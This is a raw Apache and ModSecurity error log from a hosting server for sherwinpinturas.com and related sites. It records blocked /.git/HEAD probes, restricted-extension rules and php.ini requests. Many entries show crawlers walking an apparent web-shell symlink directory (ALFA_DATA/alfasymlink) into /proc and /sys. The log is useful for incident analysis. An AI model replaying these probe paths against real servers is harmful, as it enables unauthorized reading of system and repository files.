[Sat Oct 24 17:35:34.045794 2026] [security2:error] [pid 2693034:tid 2693034] [client 91.92.240.86:51636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kplQTwXU83R4GW_mYnwAAACg"]
[Sat Oct 24 17:35:34.049589 2026] [security2:error] [pid 2707162:tid 2707162] [client 91.92.240.86:51620] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kpnxUk1Q9Uwuht9UCnAAAAAE"]
[Sat Oct 24 17:35:34.049857 2026] [security2:error] [pid 2707162:tid 2707162] [client 91.92.240.86:51620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kpnxUk1Q9Uwuht9UCnAAAAAE"]
[Sat Oct 24 17:35:34.050239 2026] [security2:error] [pid 2707162:tid 2707162] [client 91.92.240.86:51620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kpnxUk1Q9Uwuht9UCnAAAAAE"]
[Sat Oct 24 17:35:34.110224 2026] [security2:error] [pid 2677776:tid 2677776] [client 91.92.240.86:51646] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kpmZJIyiQiKFtr2-7MgAAABU"]
[Sat Oct 24 17:35:34.110481 2026] [security2:error] [pid 2677776:tid 2677776] [client 91.92.240.86:51646] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kpmZJIyiQiKFtr2-7MgAAABU"]
[Sat Oct 24 17:35:34.110770 2026] [security2:error] [pid 2677776:tid 2677776] [client 91.92.240.86:51646] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at0kpmZJIyiQiKFtr2-7MgAAABU"]
[Sat Oct 24 17:35:34.277204 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 3.235.215.92:42165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Sat Oct 24 17:35:38.231040 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.231.193.38:36682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:35:39.253233 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.15:59230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/objs_per_slab
[Sat Oct 24 17:35:46.247559 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.2.191.202:59083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:35:54.304652 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.212:28096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/slabs_cpu_partial
[Sat Oct 24 17:36:10.299428 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 44.221.37.41:18025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:36:22.429560 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 184.73.195.18:63289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:36:26.392143 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.85.109.140:43600] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:36:34.226022 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.71.203.206:14601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:36:38.276770 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.45.92.83:13047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:36:42.237603 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.208.11.93:11886] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:36:46.379399 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 34.227.234.246:3190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:04/eject
[Sat Oct 24 17:36:54.455704 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.220.2.97:36290] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:06.337174 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.235.172.108:20096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:10.394176 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.220.2.97:53772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:20.866072 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.85.7.119:42795] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:22.233903 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.214.138.148:36870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:34.331289 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.195.248.30:21122] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:47.514036 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.14:49452] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/allowed_user_lnk.inc"] [unique_id "at0lKzKiZtbKEGWJKoLTCQAAACE"]
[Sat Oct 24 17:37:47.514511 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.14:49452] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/allowed_user_lnk.inc"] [unique_id "at0lKzKiZtbKEGWJKoLTCQAAACE"]
[Sat Oct 24 17:37:47.514905 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.14:49452] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/allowed_user_lnk.inc"] [unique_id "at0lKzKiZtbKEGWJKoLTCQAAACE"]
[Sat Oct 24 17:37:54.374916 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.22.59.87:46234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:37:57.634893 2026] [authz_core:error] [pid 2693035:tid 2693035] [client 159.203.44.105:43310] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:37:58.253853 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.70.209.13:48816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:38:02.223894 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.2.4.213:50442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:38:06.224174 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.204.152.114:7660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:38:22.270240 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.85.109.140:25660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:38:24.308306 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.205:15266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/red_zone
[Sat Oct 24 17:38:45.291591 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.13:26468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/cache_dma
[Sat Oct 24 17:38:50.259768 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.83.240.58:14805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:38:54.281096 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 3.212.205.90:1768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/remove
[Sat Oct 24 17:38:58.255416 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.194.226.74:38887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:02.313214 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 184.73.195.18:40109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata2/host1/subsystem/drivers_probe
[Sat Oct 24 17:39:10.611014 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.156.55.147:10255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:14.230467 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.73.239.35:58032] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:22.354672 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.204.253.129:43808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/drvctl
[Sat Oct 24 17:39:25.699661 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.13:16752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/slabs_cpu_partial
[Sat Oct 24 17:39:26.223763 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.45.194.165:19934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:30.277939 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.22.87.224:8755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:34.398227 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.202.88.37:5130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:38.431504 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.224.132.215:43644] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:54.458348 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.220.70.171:37451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:39:58.276656 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.216.13.10:52804] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:04.552147 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.204:20868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/align
[Sat Oct 24 17:40:06.254866 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 44.221.105.234:11856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/pci-stub/bind
[Sat Oct 24 17:40:10.270953 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.192.67.98:51481] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:14.571530 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.197.76.210:7326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:18.297257 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 100.28.57.133:25352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/resource0
[Sat Oct 24 17:40:22.598570 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.83.240.58:1522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:26.291007 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.203.68.145:57625] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:30.332942 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.240.226:19308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:38.522368 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.84.70.201:61886] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:46.483345 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.215.77.19:8068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:40:58.493627 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.208.11.93:32768] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:41:06.006828 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.1:16450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objects
[Sat Oct 24 17:41:06.467742 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.173.18.61:29786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:41:10.480788 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.215.24.66:19529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:41:18.265110 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 18.215.49.176:15688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/firmware_node/physical_node/driver/cpu0/crash_notes
[Sat Oct 24 17:41:26.331452 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.223.232.55:44459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:41:46.255407 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.227.240:54674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:41:46.255609 2026] [security2:error] [pid 2693034:tid 2693034] [client 23.21.227.240:54674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/local_cpulist"] [unique_id "at0mGlQTwXU83R4GW_mYrAAAACg"]
[Sat Oct 24 17:41:46.255648 2026] [security2:error] [pid 2693034:tid 2693034] [client 23.21.227.240:54674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/local_cpulist"] [unique_id "at0mGlQTwXU83R4GW_mYrAAAACg"]
[Sat Oct 24 17:41:49.934820 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.1:48362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/aliases
[Sat Oct 24 17:41:58.353669 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.220.148.166:38624] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:06.436787 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.201.155.215:61557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:14.304507 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.225.87.80:23022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:16.676837 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.9:29840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_blk/sections/__bug_table
[Sat Oct 24 17:42:18.278569 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.194.14.255:45299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:26.543037 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.218.35.239:21856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:38.237858 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.214.138.148:15747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:42.237066 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.230.69.161:35487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:42:50.537745 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.89.176.255:5283] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:01.420500 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.204.71.8:12598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:02.288094 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 34.227.156.153:61371] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:1b/eject
[Sat Oct 24 17:43:11.722942 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.174.253.85:54760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:12.339184 2026] [security2:error] [pid 2677776:tid 2677776] [client 43.165.195.234:39564] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at0mcGZJIyiQiKFtr2-7UAAAABU"]
[Sat Oct 24 17:43:12.340169 2026] [authz_core:error] [pid 2677776:tid 2677776] [client 43.165.195.234:39564] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:43:14.448443 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.215.221.125:46880] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:18.764611 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 100.24.167.60:62162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:00/physical_node/rescan
[Sat Oct 24 17:43:26.246509 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.147.182.90:3748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:34.288888 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.206.93.215:61149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:39.117839 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.23.214.190:13887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:50.410928 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.227.180.70:56629] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:43:54.698264 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.212.86.97:65470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:04.920177 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.19:51662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/sanity_checks
[Sat Oct 24 17:44:06.427799 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.0.218.219:43079] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:06.550386 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 144.76.19.24:60202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/auxv
[Sat Oct 24 17:44:07.061119 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.199:31208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/remote_node_defrag_ratio
[Sat Oct 24 17:44:14.332586 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.44.148.203:52816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:14.534242 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 85.208.96.205:25292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:22.486571 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.204.89.56:13203] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:41.064289 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 185.191.171.6:59122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/object_size
[Sat Oct 24 17:44:42.529822 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 107.23.62.75:4539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:45.630052 2026] [security2:error] [pid 2677776:tid 2677776] [client 198.235.24.22:50962] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at0mzWZJIyiQiKFtr2-7VQAAABU"]
[Sat Oct 24 17:44:45.630953 2026] [authz_core:error] [pid 2677776:tid 2677776] [client 198.235.24.22:50962] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:44:46.317959 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 18.211.148.239:48654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:54.368603 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.222.190.107:29460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:44:58.555789 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.200.54.136:56468] AH02013: coalesce failed to read from data bucket
